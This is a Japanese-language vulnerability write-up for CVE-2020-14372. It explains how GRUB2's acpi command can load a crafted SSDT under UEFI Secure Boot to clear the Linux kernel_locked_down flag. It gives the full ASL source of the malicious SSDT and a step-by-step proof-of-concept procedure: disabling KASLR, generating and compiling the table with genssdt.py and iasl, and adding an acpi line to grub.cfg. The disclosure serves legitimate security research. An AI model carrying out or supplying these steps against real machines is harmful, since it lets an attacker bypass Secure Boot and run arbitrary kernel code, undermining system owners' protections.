CVE-2020-14372: 「簡単なトリック」で（それほどでもない）セキュアブートをバイパスする

脆弱性の詳細

ある日、GRUB2のコンソールで「help」と入力したところ、とても「面白い」コマンドを見つけました:

read_byte ADDR: ADDRから8ビット値を読み取る
write_byte ADDR VAL: ADDRに8ビット値VALを書き込む

私はすぐに、これは最も楽しいSecure Bootバイパスを見つけたと思いましたが、これらのコマンドはSecure Boot下で次のような出力をします:

error: Secure Boot forbids loading module .../memrw.mod.

好奇心から、この状態で「acpi」コマンドを入力したところ、AMLファイルを指定するように促す使用方法のメッセージが表示されました。ACPIの別名は「カーネルのコンテキストで任意のベンダー提供コードを実行する仕組み」であることはよく知られています。Secure Bootが有効でもACPIテーブルをロードできるので、私たちはそのコードを提供できる「ベンダー」になります。

しかし、起動したカーネルのデータセグメントには、カーネルが「ロックダウン」されているかどうかを示す1バイトのフラグ（kernel_locked_down）があります。SSDTを使用してそのフラグを上書きし、カーネルに任意のモジュールをロードさせることができます。

次のSSDTは、HACKという「バッテリー」オブジェクトを作成し、そのオブジェクトの_INIメソッド（カーネルによって常に実行される）で書き込みを行うことでこれを実現します:

DefinitionBlock ("trigger.aml", "SSDT", 2, "", "", 0x00001001)
{
  OperationRegion (KMEM, SystemMemory, ADDRESS_GOES_HERE, 4)
  Field (KMEM, DWordAcc, NoLock, WriteAsZeros)
  {
    LKDN, 32
  }
  Device (\_SB_.HACK)
  {
    Name(_HID, EisaId ("PNP0C0A"))
    Name(_UID, 0x02)
    Method(_INI)
    {
      If (LKDN)
      {
        LKDN = Zero
      }
    }
  }
}

私はこのSSDTを生成するのに役立つPythonの概念実証エクスプロイトを作成しましたが、手動でこれを悪用するのもそれほど難しくありません。大まかな手順は次のとおりです:

カーネルコマンドラインにnokaslrを追加してKASLRを無効にする
KASLRなしで起動した後、kernel_locked_downシンボルの物理アドレスを見つける
アドレスを上記のSSDTに挿入し、iaslを使用してそのSSDTをコンパイルする
最後にGRUB2にSSDTをロードするように指示する

PoCの使用方法

前提条件:

攻撃者は実行中のオペレーティングシステムへのrootアクセス権を持っている
LinuxがGRUB2バージョン<=2.02（一部の2.02ビルドはパッチ済み）でUEFI Secure Bootの下で起動されている。これによりカーネルロックダウンが有効になります

上記の前提条件が満たされている場合、/etc/default/grubを編集し、GRUB_CMDLINE_LINUX_DEFAULTにnokaslrを追加し、update-grubを実行し、最後に再起動します。

アドレス空間配置のランダム化なしでカーネルが起動した後、genssdt.pyスクリプトを使用して、「悪意のある」SSDTを生成できます。これにより、実行時にカーネルのメモリをパッチしてロックダウンを無効にします:

python3 genssdt.py > trigger.dsl
iasl trigger.dsl
cp trigger.aml /boot/efi/evil_ssdt.aml

SSDTが作成されたので、GRUB設定ファイル（通常は/boot/grub/grub.cfg）を編集して、GRUBにこのSSDTをロードさせる必要があります（このファイルの先頭に以下を追加します）:

acpi (hd0,gpt1)/evil_ssdt.aml

EFIシステムパーティション（上記でSSDTを配置した場所）がディスク上のどこにあるかに基づいて、(hd0,gpt1)を別のものに置き換える必要があるかもしれません。

最後に再起動後、カーネルロックダウンが無効になるはずです。これにより、rootはカーネル内で任意のコードを実行できるようになります。

CVE-2020-14372

人気

CVE-2020-14372: 「簡単なトリック」で（それほどでもない）セキュアブートをバイパスする

脆弱性の詳細

PoCの使用方法